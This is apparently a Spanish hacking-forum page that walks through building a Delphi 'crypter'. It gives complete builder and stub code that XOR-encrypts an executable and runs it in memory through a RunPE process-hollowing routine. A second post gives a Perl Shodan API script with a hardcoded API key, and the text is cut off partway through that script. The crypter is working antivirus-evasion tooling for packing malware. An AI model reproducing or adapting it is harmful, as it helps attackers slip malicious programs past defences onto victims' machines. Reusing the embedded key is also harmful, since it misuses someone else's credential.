  2. // Coded By Doddy Hackman in the year 2015
  3. // Credits : Based on OP Crypter By Xash
  4. // Thanks to Xash
  5.  
  6. unit tools;
  7.  
  8. interface
  9.  
  10. uses SysUtils, Windows;
  11.  
  12. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  13. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  14.  
  15. function leer_archivo(archivo_a_leer: String): AnsiString;
  16. function xor_now(texto: string; clave: integer): string;
  17.  
  18. implementation
  19.  
  20. function xor_now(texto: string; clave: integer): string;
  21. var
  22.  numero: integer; // Establecemos la variable "numero" como integer
  23.  contenido: string; // Establecemos la variable "contenido" como string
  24. begin
  25.  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  26.  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  27.  // la longitud de la variable "texto"
  28.  begin
  29.    contenido := contenido + Char(integer(texto[numero]) xor clave);
  30.    // ciframos los datos
  31.    // con XOR
  32.  end;
  33.  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  34.  // de la variable "contenido"
  35. end;
  36.  
  37. function leer_archivo(archivo_a_leer: String): AnsiString;
  38. var
  39.  archivo: File; // Declaramos la variable "archivo" como File
  40.  tipo: Byte; // Declaramos la variable "tipo" como Byte
  41. begin
  42.  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  43.  try
  44.    FileMode := 0; // Establecemos como "0" el FileMode
  45.    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
  46. {$I-}
  47.    Reset(archivo, 1); // Leemos el archivo desde la primera linea
  48. {$I+}
  49.    if IoResult = 0 then // Si IoResult es 0 ...
  50.      try
  51.        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
  52.        // variable "Result" como la longitud del archivo
  53.        if Length(Result) > 0 then
  54.        // Si la longitud del resultado es mayor a 0 ...
  55.        begin
  56. {$I-}
  57.          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
  58. {$I+}
  59.          if IoResult <> 0 then // Si es distinto a 0 ..
  60.            Result := '';
  61.        end;
  62.      finally
  63.        CloseFile(archivo); // Cerramos el archivo
  64.      end;
  65.  finally
  66.    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  67.  end;
  68. end;
  69.  
  70. function leer_datos(archivo, delimitador1, delimitador2: string): string;
  71.  
  72. var
  73.  contenido: string; // Declaramos la variable "contenido" como string
  74.  limite: integer; // Declaramos la variable "limite" como integer
  75.  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  76.  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  77.  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  78.  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  79.  control1: integer; // Declaramos la variable "control1" como integer
  80.  control2: integer; // Declaramos la variable "control2" como integer
  81.  suma: integer; // Declaramos la variable "suma" como integer
  82.  numero: integer; // Declaramos la variable "numero" como integer
  83.  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  84.  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  85.  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  86.  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  87.  resultado: string; // Declaramos la variable "resultado" como string
  88.  contenido_final: string;
  89.  // Declaramos la variable "contenido_final" como string
  90. begin
  91.  
  92.  if (FileExists(archivo)) then // Si existe el archivo ...
  93.  begin
  94.    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
  95.    // en la variable "contenido"
  96.  
  97.    suma_inicial_1 := Length(delimitador1);
  98.    // Calculamos la longitud de la variable
  99.    // "delimitador1"
  100.  
  101.    suma_inicial_2 := Length(contenido);
  102.    // Calculamos la longitud de la variable
  103.    // "contenido"
  104.  
  105.    suma := Pos(delimitador1, contenido) + suma_inicial_1;
  106.    // Calculamos la posicion del
  107.    // "delimitador" en la variable "contenido"
  108.  
  109.    dividiendo := suma_inicial_2 - suma;
  110.    // Restamos las variables "suma_inicial_2"
  111.    // y "suma"
  112.      dividiendo2 := suma_inicial_2 - dividiendo;
  113.    // Restamos las variables "suma_inicial_2"
  114.    // y "dividiendo"
  115.  
  116.    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
  117.    // Copiamos las variables y las guardmamos en "contenido"
  118.  
  119.    suma_casi_1 := Pos(delimitador1, contenido);
  120.    // Calculamos la posicion de "delimitador1"
  121.    // en la variable "contenido"
  122.    suma_casi_2 := suma_casi_1 + suma_inicial_1;
  123.    // Sumamos las variables "suma_casi_1"
  124.    // y "suma_inicial_1"
  125.  
  126.    control1 := Pos(delimitador2, contenido) - suma_casi_2;
  127.    // Calculamos la posicion
  128.    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
  129.  
  130.    control2 := control1 - 1; // Restamos en uno la variable "control1"
  131.  
  132.    for numero := 0 to control2 do
  133.    // Realizamos un for usando desde 0 hasta el valor
  134.    // de la variable "control2"
  135.    begin
  136.      dividiendo3 := suma_inicial_1 + numero;
  137.      // Sumamos la variables varibles "suma_inicial_1"
  138.      // y "numero"
  139.      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
  140.      // Calculamos la posicion de "delimitador1" en la variable
  141.      // "contenido"
  142.      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
  143.      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
  144.      // "contenido"
  145.      resultado := resultado + contenido_final;
  146.      // Sumamos las variables "resultado" y
  147.      // "contenido_final"
  148.    end;
  149.  
  150.    if resultado = '' then // Si la variable "resultado" esta vacia ...
  151.    begin
  152.      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
  153.    end
  154.    else
  155.    begin
  156.      Result := resultado; // De lo contrario mostramos el contenido de la
  157.      // variable "resultado" en resultado de la funcion
  158.    end;
  159.  end
  160.  else
  161.  begin
  162.    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
  163.    // la funcion
  164.  end;
  165. end;
  166.  
  167. function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
  168. var
  169.  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  170.  // TextFile
  171. begin
  172.  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  173.  begin
  174.    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
  175.    // "ruta"
  176.    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
  177.    // "abriendo_archivo"
  178.    try
  179.      begin
  180.        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
  181.        // Escribimos los datos
  182.        // de las variables "delimitador1,"texto","delimitador2"
  183.      end
  184.    finally
  185.      begin
  186.        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
  187.        // "abriendo_archivo"
  188.      end;
  189.      Result := True; // Devolvemos "True" como resultado de la funcion
  190.    end;
  191.  end
  192.  else
  193.  begin
  194.    Result := False; // De lo contrario devolvemos "False" como resultado de la
  195.    // funcion
  196.  end;
  197.  
  198. end;
  199.  
  200. end.
  201.  
  202. // The End ?
  203.  

Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código
  1. uses
  2.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  3.  Dialogs, StdCtrls,tools;
  4.  

Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código
  1. { uExecFromMem
  2.  
  3.   Author: steve10120
  4.   Description: Run an executable from another's memory.
  5.   Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  6.   Reference: http://www.security.org.sg/code/loadexe.html
  7.   Release Date: 26th August 2009
  8.   Website: http://ic0de.org
  9.   History: First try
  10.  
  11.   Additions by testest 15th July 2010:
  12.     - Parameter support
  13.     - Win7 x64 support
  14. }
  15.  
  16. unit uExecFromMem;
  17.  
  18. interface
  19.  
  20. uses Windows;
  21.  
  22. function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
  23.  
  24. implementation
  25.  
  26. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  27.  
  28. type
  29.  PImageBaseRelocation = ^TImageBaseRelocation;
  30.  TImageBaseRelocation = packed record
  31.     VirtualAddress: DWORD;
  32.     SizeOfBlock: DWORD;
  33.  end;
  34.  
  35. procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
  36. var
  37.  l_i: Cardinal;
  38.  l_codebase: Pointer;
  39.  l_relocation: PImageBaseRelocation;
  40.  l_dest: Pointer;
  41.  l_relInfo: ^Word;
  42.  l_patchAddrHL: ^DWord;
  43.  l_type, l_offset: integer;
  44. begin
  45.  l_codebase := f_module;
  46.  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  47.  begin
  48.    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
  49.    while l_relocation.VirtualAddress > 0 do
  50.    begin
  51.      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
  52.      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
  53.      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
  54.      begin
  55.        l_type := (l_relInfo^ shr 12);
  56.        l_offset := l_relInfo^ and $FFF;
  57.        if l_type = 3 then
  58.        begin
  59.          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
  60.          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
  61.        end;
  62.        inc(l_relInfo);
  63.      end;
  64.      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
  65.    end;
  66.  end;
  67. end;
  68.  
  69. function AlignImage(pImage:Pointer):Pointer;
  70. var
  71.  IDH:          PImageDosHeader;
  72.  INH:          PImageNtHeaders;
  73.  ISH:          PImageSectionHeader;
  74.  i:            WORD;
  75. begin
  76.  IDH := pImage;
  77.  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  78.  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  79.  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  80.  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  81.  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  82.  begin
  83.    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
  84.    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  85.  end;
  86. end;
  87.  
  88. function Get4ByteAlignedContext(var Base: PContext): PContext;
  89. begin
  90.  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  91.  Result := Base;
  92.  if Base <> nil then
  93.    while ((DWORD(Result) mod 4) <> 0) do
  94.      Result := Pointer(DWORD(Result) + 1);
  95. end;
  96.  
  97. function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
  98. var
  99.  PI:           TProcessInformation;
  100.  SI:           TStartupInfo;
  101.  CT:           PContext;
  102.  CTBase:       PContext;
  103.  IDH:          PImageDosHeader;
  104.  INH:          PImageNtHeaders;
  105.  dwImageBase:  DWORD;
  106.  pModule:      Pointer;
  107.  dwNull:       DWORD;
  108. begin
  109.  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
  110.  
  111.  Result := 0;
  112.  IDH := pFile;
  113.  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  114.  begin
  115.    INH := Pointer(Integer(pFile) + IDH^._lfanew);
  116.    if INH^.Signature = IMAGE_NT_SIGNATURE then
  117.    begin
  118.      FillChar(SI, SizeOf(TStartupInfo), #0);
  119.      FillChar(PI, SizeOf(TProcessInformation), #0);
  120.      SI.cb := SizeOf(TStartupInfo);
  121.      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
  122.      begin
  123.        CT := Get4ByteAlignedContext(CTBase);
  124.        if CT <> nil then
  125.        begin
  126.          CT.ContextFlags := CONTEXT_FULL;
  127.          if GetThreadContext(PI.hThread, CT^) then
  128.          begin
  129.            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
  130.            if dwImageBase = INH^.OptionalHeader.ImageBase then
  131.            begin
  132.              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
  133.                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
  134.              else
  135.                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  136.            end
  137.            else
  138.              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  139.            if pModule <> nil then
  140.            begin
  141.              pFile := AlignImage(pFile);
  142.              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
  143.              begin
  144.                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
  145.                INH^.OptionalHeader.ImageBase := DWORD(pModule);
  146.                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
  147.              end;
  148.              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
  149.              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
  150.              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
  151.              SetThreadContext(PI.hThread, CT^);
  152.              ResumeThread(PI.hThread);
  153.              Result := PI.hThread;
  154.            end;
  155.          end;
  156.          VirtualFree(CTBase, 0, MEM_RELEASE);
  157.        end;
  158.        if Result = 0 then
  159.          TerminateProcess(PI.hProcess, 0);
  160.      end;
  161.    end;
  162.  end;
  163. end;
  164.  
  165. end.
  166.  

Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código
  1. uses
  2.  SysUtils, StrUtils, Windows, uExecFromMem, tools;
  3.  

Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código
  1. type
  2.  otro_array = array of string;
  3.  // Declaramos el tipo "otro_array" como array of string
  4.  

Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código
  1. procedure regex2(texto: string; separador: string; var resultado: otro_array);
  2. // Thanks to ecfisa for the help
  3. var
  4.  numero1: integer; // Declaramos la variable "numero1" como integer
  5.  numero2: integer; // Declaramos la variable "numero2" como integer
  6. begin
  7.  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  8.  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  9.  // la variable "texto"
  10.  numero1 := 1; // Establecemos la variable "numero1" como "1"
  11.  while numero1 <= numero2 do
  12.  // Mientras "numero1" sea menor o igual a "numero2" ...
  13.  begin
  14.    SetLength(resultado, Length(resultado) + 1);
  15.    // Establecemos la longitud de resultado
  16.    // a la longitud de la variable "resultado" mas "1"
  17.    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
  18.    // Establecemos la variable "resultado" como la copia de las variables "texto",
  19.    // "numero1" y la resta de las variables "numero2" y "numero1"
  20.    numero1 := numero2 + Length(separador);
  21.    // Establecemos la variable "numero1" como
  22.    // la suma de la variable "numero2" y la longitud de ña variable "separador"
  23.    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
  24.    // "separador" en el variable "texto"
  25.  end;
  26. end;
  27.  

Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código
  1. var
  2.  todo: string; // Declaramos la variable "todo" como string
  3.  codigo: string; // Declaramos la variable "codigo" como string
  4.  key: string; // Declaramos la variable "key" como string
  5.  datos: otro_array; // Declaramos la variable "datos" como otro_array
  6.  
  7. begin
  8.  
  9.  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  10.  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
  11.  
  12.  regex2(todo, '-barra-', datos);
  13.  // Separamos los delimitadores que estan separados
  14.  // por "-barra-" en la variable "todo"
  15.  
  16.  key := datos[2];
  17.  // Establecemos como "key" la segunda posicion del array "datos"
  18.  codigo := datos[1];
  19.  // Establecemos como "codigo" la primera posicion del array
  20.  // "datos"
  21.  
  22.  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  23.  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  24.  // guardamos en la variable "codigo"
  25.  
  26.  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  27.  // Ejecutamos el codig en memoria
  28.  // usando la funcion "ExecuteFromMem"
  29.  
  30. end.
  31.  

Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

66  Programación / Scripting / [Perl] Shodan Tool 0.6 en: 10 Abril 2015, 16:01 pm
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

Es necesario que tengan una API Key suya para poder usar la API de Shodan.

Un video con ejemplos de uso :



El codigo :

Código
  1. #!usr/bin/perl
  2. #Shodan Tool 0.6
  3. #(C) Doddy Hackman 2015
  4. #Based on : https://developer.shodan.io/api
  5. #ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
  6. #ppm install http://www.bribes.org/perl/ppm/JSON.ppd
  7.  
  8. use LWP::UserAgent;
  9. use JSON;
  10. use Getopt::Long;
  11. use Color::Output;
  12. Color::Output::Init;
  13. use IO::Socket;
  14.  
  15. my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
  16. $nave->agent(
  17. "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
  18. );
  19. $nave->timeout(5);
  20.  
  21. my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";
  22.  
  23. GetOptions(
  24.    "ip=s"           => \$ip,
  25.    "count=s"        => \$count,
  26.    "search=s"       => \$search,
  27.    "query"          => \$query,
  28.    "query_search=s" => \$query_search,
  29.    "query_tags"     => \$query_tags,
  30.    "services"       => \$services,
  31.    "resolve=s"      => \$resolve,
  32.    "reverse=s"      => \$reverse,
  33.    "myip"           => \$myip,
  34.    "api_info"       => \$api_info
  35. );
  36.  
  37. head();
  38.  
  39. if ( $ip ne "" ) {
  40.    if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
  41.        print by_ip($ip);
  42.    }
  43.    else {
  44.        my $get = gethostbyname($ip);
  45.        my $ip  = inet_ntoa($get);
  46.        by_ip($ip);
  47.    }
  48. }
  49. elsif ( $count ne "" ) {
  50.    by_count($count);
  51. }
  52. elsif ( $search ne "" ) {
  53.    by_search($search);
  54. }
  55. elsif ( $query ne "" ) {
  56.    by_query();
  57. }
  58. elsif ($query_search) {
  59.    by_query_search($query_search);
  60. }
  61. elsif ($query_tags) {
  62.  
  63.    by_query_tags($query_tags);
  64.  
  65. }
  66. elsif ( $services ne "" ) {
  67.    list_services();
  68. }
  69. elsif ( $resolve ne "" ) {
  70.    resolve($resolve);
  71. }
  72. elsif ( $reverse ne "" ) {
  73.    reverse_now($reverse);
  74. }
  75. elsif ( $myip ne "" ) {
  76.    my_ip();
  77. }
  78. elsif ( $api_info ne "" ) {
  79.    api_info();
  80. }
  81. else {
  82.    sintax();
  83. }
  84.  
  85. copyright();
  86.  
  87. # Functions
  88.  
  89. sub by_query_tags {
  90.  
  91.    printear_titulo("\n[+] Listening the most popular tags  ...\n\n");
  92.  
  93.    my $code =
  94.      toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );
  95.  
  96.    $resultado = JSON->new->decode($code);
  97.  
  98.    my $total = $resultado->{'total'};
  99.  
  100.    if ( $total ne "" ) {
  101.        printear("[+] Total : ");
  102.        print $total. "\n\n";
  103.    }
  104.    else {
  105.        printear("[-] WTF !");
  106.    }
  107.  
  108.    my $i = 0;
  109.  
  110.    my @encontrados = @{ $resultado->{'matches'} };
  111.    foreach my $encontrado (@encontrados) {
  112.        my $value = $encontrado->{"value"};
  113.        my $count = $encontrado->{"count"};
  114.  
  115.        $i++;
  116.        print "-------------------------------------\n\n";
  117.        if ( $value ne "" ) {
  118.            printear("[+] Value : ");
  119.            print $value. "\n";
  120.        }
  121.  
  122.        if ( $count ne "" ) {
  123.            printear("[+] Count : ");
  124.            print $count. "\n";
  125.        }
  126.  
  127.        print "\n-------------------------------------\n";
  128.  
  129.        if ( $i % 5 == 0 ) {
  130.            printear("\n[+] Press enter to show more\n");
  131.            <STDIN>;
  132.        }
  133.  
  134.    }
  135.  
  136. }
  137.  
  138. sub by_query_search {
  139.  
  140.    my $query = $_[0];
  141.  
  142.    printear_titulo(
  143.        "\n[+] Searching in the directory of saved search queries ...\n\n");
  144.  
  145.    my $code =
  146.      toma( "https://api.shodan.io/shodan/query/search?key="
  147.          . $api_key
  148.          . "&query="
  149.          . $query );
  150.  
  151.    $resultado = JSON->new->decode($code);
  152.  
  153.    my $total = $resultado->{'total'};
  154.  
  155.    if ( $total ne "" ) {
  156.        printear("[+] Total : ");
  157.        print $total. "\n\n";
  158.    }
  159.    else {
  160.        printear("[-] WTF !");
  161.    }
  162.  
  163.    my $i = 0;
  164.  
  165.    my @encontrados = @{ $resultado->{'matches'} };
  166.    foreach my $encontrado (@encontrados) {
  167.        $i++;
  168.        print "-------------------------------------\n\n";
  169.        my $votes       = $encontrado->{"votes"};
  170.        my $description = $encontrado->{"description"};
  171.        my $title       = $encontrados->{"title"};
  172.        my $timestamp   = $encontrados->{"timestamp"};
  173.        my $query       = $encontrados->{"query"};
  174.  
  175.        if ( $votes ne "" ) {
  176.            printear("[+] Votes : ");
  177.            print $votes. "\n";
  178.        }
  179.  
  180.        if ( $description ne "" ) {
  181.            printear("[+] Description : ");
  182.            print $description. "\n\n";
  183.        }
  184.  
  185.        if ( $title ne "" ) {
  186.            printear("[+] Title : ");
  187.            print $title. "\n";
  188.        }
  189.  
  190.        if ( $timestamp ne "" ) {
  191.            printear("[+] Timestamp : ");
  192.            print $timestamp. "\n";
  193.        }
  194.  
  195.        if ( $query ne "" ) {
  196.            printear("[+] Query : ");
  197.            print $query. "\n";
  198.        }
  199.  
  200.        printear("[+] Tags : ");
  201.        my @tags = @{ $encontrado->{'tags'} };
  202.        foreach my $tag (@tags) {
  203.            print $tag. "\t";
  204.        }
  205.        print "\n";
  206.  
  207.        print "\n-------------------------------------\n";
  208.  
  209.        if ( $i % 5 == 0 ) {
  210.            printear("\n[+] Press enter to show more\n");
  211.            <STDIN>;
  212.        }
  213.  
  214.    }
  215.  
  216. }
  217.  
  218. sub by_query {
  219.  
  220.    printear_titulo("\n[+] Listening the saved search queries ...\n\n");
  221.  
  222.    my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
  223.    $resultado = JSON->new->decode($code);
  224.  
  225.    my $total = $resultado->{'total'};
  226.  
  227.    if ( $total ne "" ) {
  228.        printear("[+] Total : ");
  229.        print $total. "\n\n";
  230.    }
  231.    else {
  232.        printear("[-] WTF !");
  233.    }
  234.  
  235.    my $i = 0;
  236.  
  237.    my @encontrados = @{ $resultado->{'matches'} };
  238.    foreach my $encontrado (@encontrados) {
  239.        $i++;
  240.        print "-------------------------------------\n\n";
  241.        my $votes       = $encontrado->{"votes"};
  242.        my $description = $encontrado->{"description"};
  243.        my $title       = $encontrados->{"title"};
  244.        my $timestamp   = $encontrados->{"timestamp"};
  245.        my $query       = $encontrados->{"query"};
  246.  
  247.        if ( $votes ne "" ) {
  248.            printear("[+] Votes : ");
  249.            print $votes. "\n";
  250.        }
  251.  
  252.        if ( $description ne "" ) {
  253.            printear("[+] Description : ");
  254.            print $description. "\n\n";
  255.        }
  256.  
  257.        if ( $title ne "" ) {
  258.            printear("[+] Title : ");
  259.            print $title. "\n";
  260.        }
  261.  
  262.        if ( $timestamp ne "" ) {
  263.            printear("[+] Timestamp : ");
  264.            print $timestamp. "\n";
  265.        }
  266.  
  267.        if ( $query ne "" ) {
  268.            printear("[+] Query : ");
  269.            print $query. "\n";
  270.        }
  271.  
  272.        printear("[+] Tags : ");
  273.        my @tags = @{ $encontrado->{'tags'} };
  274.        foreach my $tag (@tags) {
  275.            print $tag. "\t";
  276.        }
  277.        print "\n";
  278.  
  279.        print "\n-------------------------------------\n";
  280.  
  281.        if ( $i % 5 == 0 ) {
  282.            printear("\n[+] Press enter to show more\n");
  283.            <STDIN>;
  284.        }
  285.  
  286.    }
  287.  
  288. }
  289.  
  290. sub list_services {
  291.  
  292.    printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");
  293.  
  294.    my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
  295.    if ( $code ne "" ) {
  296.        my $i = 0;
  297.        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
  298.            $i++;
  299.            my $port = $1;
  300.            my $name = $2;
  301.            printear("[+] Port : ");
  302.            print $port. "\n";
  303.            printear("[+] Name : ");
  304.            print $name. "\n\n";
  305.  
  306.            if ( $i % 20 == 0 ) {
  307.                printear("\n[+] Press enter to show more\n");
  308.                <STDIN>;
  309.            }
  310.  
  311.        }
  312.    }
  313.    else {
  314.        print "[-] WTF !" . "\n";
  315.    }
  316.  
  317. }
  318.  
  319. sub resolve {
  320.  
  321.    my $hostnames = $_[0];
  322.  
  323.    printear_titulo("\n[+] Working in DNS Lookup ...\n\n");
  324.  
  325.    my $code =
  326.      toma( "https://api.shodan.io/dns/resolve?hostnames="
  327.          . $hostnames . "&key="
  328.          . $api_key );
  329.    if ( $code ne "" ) {
  330.        while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
  331.            my $host = $1;
  332.            my $ip   = $2;
  333.            printear("[+] Hostname : ");
  334.            print $host. "\n";
  335.            printear("[+] IP : ");
  336.            print $ip. "\n";
  337.        }
  338.    }
  339.    else {
  340.        printear( "[-] WTF !" . "\n" );
  341.    }
  342.  
  343. }
  344.  
  345. sub reverse_now {
  346.  
  347.    $ips = $_[0];
  348.  
  349.    printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");
  350.  
  351.    my $code = toma(
  352.        "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
  353.    if ( $code ne "" ) {
  354.        while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
  355.            my $ip   = $1;
  356.            my $host = $2;
  357.            printear("[+] IP : ");
  358.            print $ip. "\n";
  359.            printear("[+] Hostname : ");
  360.            print $host. "\n";
  361.        }
  362.    }
  363.    else {
  364.        printear( "[-] WTF !" . "\n" );
  365.    }
  366. }
  367.  
  368. sub my_ip {
  369.    printear_titulo("\n[+] Getting your IP ...\n\n");
  370.    my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
  371.    if ( $code =~ /"(.*)"/ ) {
  372.        my $ip = $1;
  373.        printear("[+] IP : ");
  374.        print $ip. "\n";
  375.    }
  376.    else {
  377.        printear( "[-] WTF !" . "\n" );
  378.    }
  379. }
  380.  
  381. sub api_info {
  382.  
  383.    printear_titulo("\n[+] Getting your API Info ...\n\n");
  384.  
  385.    my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );
  386.  
  387.    $resultado = JSON->new->decode($code);
  388.    my $unlock_left = $resultado->{"unlocked_left"};
  389.    my $telnet      = $resultado->{"telnet"};
  390.    my $plan        = $resultado->{"plan"};
  391.    my $http        = $resultado->{"https"};
  392.    my $unlocked    = $resultado->{"unlocked"};
  393.  
  394.    if ( $unlock_left ne "" ) {
